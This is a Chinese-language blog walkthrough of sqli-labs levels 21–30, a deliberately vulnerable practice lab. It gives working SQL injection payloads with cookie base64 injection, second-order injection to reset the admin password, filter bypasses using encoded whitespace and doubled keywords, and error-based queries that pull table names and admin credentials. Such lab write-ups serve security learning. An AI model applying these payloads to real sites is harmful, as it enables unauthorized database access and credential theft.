sqli-labs 21-30关

#sqli-labs 21-30关
Less-21:
登录后的页面为:
sqli-labs 21-30关_第1张图片发现注入点可能为ip,cookie,agent,使用抓包软件试试。
显然这个东西被加密了。尝试尝试过之后发现cookie是注入点。不加密时报错
在这里插入图片描述查看一下题目cookie injection - base64 encoded ,发现它是由base64加密的。然后你把你的注入语句进行base64加密。关于base64加密你可以使用浏览器的hackbar,也可以在
base64编码在线加密解密:http://tool.oschina.net/encrypt?type=3
经过尝试注入发现它是’)闭合,尝试联合注入使用
我们尝试将') union select 1,2,3#进行编码输入试试
sqli-labs 21-30关_第2张图片
OK.而且还有三个显示位,之后的就是使用联合查询.
Less-22:
双引号闭合。
Less-23:
get型输入,但是在输入1' or 1=1#时出现了报错。
在这里插入图片描述查看源代码
sqli-labs 21-30关_第3张图片
这里#与–+都被过滤。这时候可以闭合注入语句来绕过。
源码为:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
我们可以输入:?id=0' union select 1,2,3'
sql语句就变成了:$sql="SELECT * FROM users WHERE id='0' union select 1,2,3'' LIMIT 0,1"
然后继续就欧克。
Less-24:
二次注入
sqli-labs 21-30关_第4张图片注册一个用户名为admin’# 密码为111 创建成功后,返回登录页面,然后登录刚才的账号。
登录这个admin’#的用户,按照正常流程这时就应该修改该用户的密码了,我们把密码修改为1,点击Reset.
此时按照正常的,我们的密码修改前为111,修改后为1
但是我们再登录的时候会发现密码仍然是111, 1是错误的密码.
然后我们去登录admin用户,发现admin用户的密码已经被修改为1了

出现这种漏洞的原因是:他的修改密码处用户名中没有过滤,我们注册的admin’#这个用户在修改密码时被当作了admin用户,最后导致admin用户密码被修改

原文链接:https://blog.csdn.net/weixin_43733035/article/details/86609891
Less-25/a:
把联合注入改为盲注。
Less-26:
这一题注释,空格,or,and,都被过滤。
考虑空格:用以下几种url编码代替空格即可
%09 Tab键(水平)
%0a 新建一行
%0c 新的一页
%0d return 键
%0b Tab键(垂直)
%a0 空格
对于or,and这两个,我们可以进行双写或者使用||代表or,&&代表and,空格我们可以用%0a或者%a0由于每个人的电脑环境不同,我不确定你们使用的是哪一个,我个人的电脑使用的就是%0a.
注意在hackbar中输入&&时,需要自行URL编码为%26%26,否则会报错,而输入||不需要.
对于最后注释被过滤我们只有把我们的注释语句弄闭合使它能够执行。对于这一题因为它是单引号闭合,所以可以在注释语句后面加上||‘1’='1来进行闭合。

1.当前数据库:
127.0.0.1/sqli-labs/Less-26/?id=0'||updatexml(1,concat('$',(database())),0)||'1'='1

2.数据表:
127.0.0.1/sqli-labs/Less-26/?id=0'||updatexml(1,concat('$',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),0)||'1'='1

3.字段名:
127.0.0.1/sqli-labs/Less-26/?id=0'||updatexml(1,concat('$',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')%26%26(table_name='users'))),0)||'1'='1

4.数据:
127.0.0.1/sqli-labs/Less-26/?id=0'||updatexml(1,concat('$',(select(concat('$',id,'$',username,'$',passwoorrd))from(users)where(username)='admin')),0)||'1'='1
Less-27:
这一关可以发现过滤了union select,可以用大小写来进行绕过。
对于这些过滤的题,我们要一个一个排除
1.是否过滤单引号?id=1'
2.是否过滤空格?id=1 order by
3.是否过滤关键字?id=union select 1
Less-27a
双引号闭合
Less-28/a:
union select被过滤了,将union select双写为unionunion%0aSElect%0aselect就行,如果直接就双写的话它会过滤select,所以要在中间再加一个(%0a)空格。
单引号字符型。
?id=0%27)%0Aunionunion%0aSElect%0aselect%0A1,(select%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=%27security%27),(%271
Less-29:
题目中有waf,试探一波
?id=-1' union select 1,database(),3%23
成功了
Less-30:
双引号闭合。

你可能感兴趣的:(sqli-labs 21-30关)